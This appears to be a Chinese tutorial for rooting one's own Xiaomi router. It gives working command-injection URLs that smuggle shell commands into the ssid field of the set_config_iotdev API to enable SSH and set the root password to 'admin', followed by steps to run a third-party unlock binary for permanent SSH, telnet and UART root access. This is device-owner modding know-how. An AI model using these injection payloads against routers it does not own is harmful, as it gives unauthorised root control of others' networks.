降级到特定版本
漏洞利用
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router
把路由器访问页面的STOK这些字符串复制替换<STOK>,然后访问以下两个页面完成开启SSH和修改密码操作。
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B
以上已经开启了SSH功能了。但是升级固件会破坏这些导致无法再次使用SSH,下面我们固化SSH功能。
备份Nand
nanddump -f /tmp/bdata_mtd9.img /dev/mtd9
运行成功后用winscp下载到电脑上备份好(以防万一)
破解作者github https://github.com/paldier/ax3600_tool
接下来下载网盘中的破解文件(fuckax3600)
之后用winscp将该文件上传到路由器的/tmp目录下,执行如下代码:
chmod +x /tmp/fuckax3600 && /tmp/fuckax3600 unlock
机器会自动重启,重启后执行:
/tmp/fuckax3600 hack
会自动设置永久ssh、telnet、uart权限,同时会计算出默认的root密码,注意记录密码,恢复出厂后telnet和ssh需要用
最后执行:
/tmp/fuckax3600 lock
重启后即使恢复出厂ssid也能正常了
如升级后ssh被禁用可以用telnet登录,执行下面代码再次启用ssh
sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear
如果不想用原厂的默认SSH密码太复杂不好记,就自己用passwd命令修改一下密码。
/etc/init.d/dropbear start
至此基本可以保证机器长期拥有root权限
参考资料: